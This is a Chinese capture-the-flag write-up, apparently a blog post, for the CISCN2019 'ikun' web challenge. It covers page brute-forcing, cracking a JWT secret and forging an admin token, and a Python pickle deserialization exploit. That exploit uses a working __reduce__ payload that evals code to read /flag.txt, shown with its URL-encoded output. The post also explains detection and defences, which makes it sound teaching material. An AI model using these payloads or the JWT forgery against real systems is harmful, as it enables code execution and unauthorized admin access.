[CISCN2019 华北赛区 Day1 Web2]ikun

shopping

要买到lv6，然而当前页面上没有lv6，爆破页面来搞事情。

import requests
url="http://3ecc60d7-c14f-4805-9476-71bcd91747c8.node3.buuoj.cn/shop?page="

for i in range(0,2000):
    print(i)
    r=requests.get( url + str(i) )
    if 'lv6.png' in r.text:
        print (i)
        break

抓包改折扣：

右边location显示/b1g_m4mber

访问：

这里涉及到JWT伪造漏洞

JWT伪造

详情请参考大佬博客

攻击工具
首先建立docker，攻击jwt：

爆出来key：

Secret is "1Kun"

然后访问攻击网站，将jwt复制上去即可

把username改为admin，把key填为1Kun即可。
然后将左边的jwt复制下来，填充进cookie模块即可：

刷新一下即可。

然后找到源码，审计即可。

审计

根据提示后门找到admin.py

pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。

pickle模块只能在python中使用，python中几乎所有的数据类型（列表，字典，集合，类等）都可以用pickle来序列化，
pickle序列化后的数据，可读性差，人一般无法识别。

p = pickle.loads(urllib.unquote(become))

urllib.unquote:将存入的字典参数编码为URL查询字符串，即转换成以key1 = value1 & key2 = value2的形式pickle.loads(bytes_object): 从字节对象中读取被封装的对象，并返回我看了师傅们的博客之后的理解就是，我们构建一个类，类里面的__reduce__python魔术方法会在该类被反序列化的时候会被调用Pickle模块中最常用的函数为：

• pickle.dump(obj, file, [,protocol])

函数的功能：将obj对象序列化存入已经打开的file中。
参数讲解：
obj：想要序列化的obj对象。
file:文件名称。
protocol：序列化使用的协议。如果该项省略，则默认为0。如果为负值或HIGHEST_PROTOCOL，则使用最高的协议版本。

• pickle.load(file)

函数的功能：将file中的对象序列化读出。
参数讲解：
file：文件名称。

• pickle.dumps(obj[, protocol])

函数的功能：将obj对象序列化为string形式，而不是存入文件中。
参数讲解：
obj：想要序列化的obj对象。
protocal：如果该项省略，则默认为0。如果为负值或HIGHEST_PROTOCOL，则使用最高的协议版本。

• pickle.loads(string)

函数的功能：从string中读出序列化前的obj对象。
参数讲解：
string：文件名称。
【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力：dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中，随后调用load()来以同样的顺序反序列化读出这些对象。而在__reduce__方法里面我们就进行读取flag.txt文件，并将该类序列化之后进行URL编码

检测反序列化方法：

全局搜索Python代码中是否含有关键字类似“import cPickle”或“import pickle”等，若存在则进一步确认是否调用cPickle.loads()或pickle.loads()且反序列化的参数可控。

防御方法

1、用更高级的接口__getnewargs()、__getstate__()、__setstate__()等代替__reduce__()魔术方法；
2、进行反序列化操作之前，进行严格的过滤，若采用的是pickle库可采用装饰器实现。

打洞

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

标签：__,obj,ikun,Day1,Web2,file,loads,序列化,pickle
来源： https://www.cnblogs.com/shenjuxian/p/13978773.html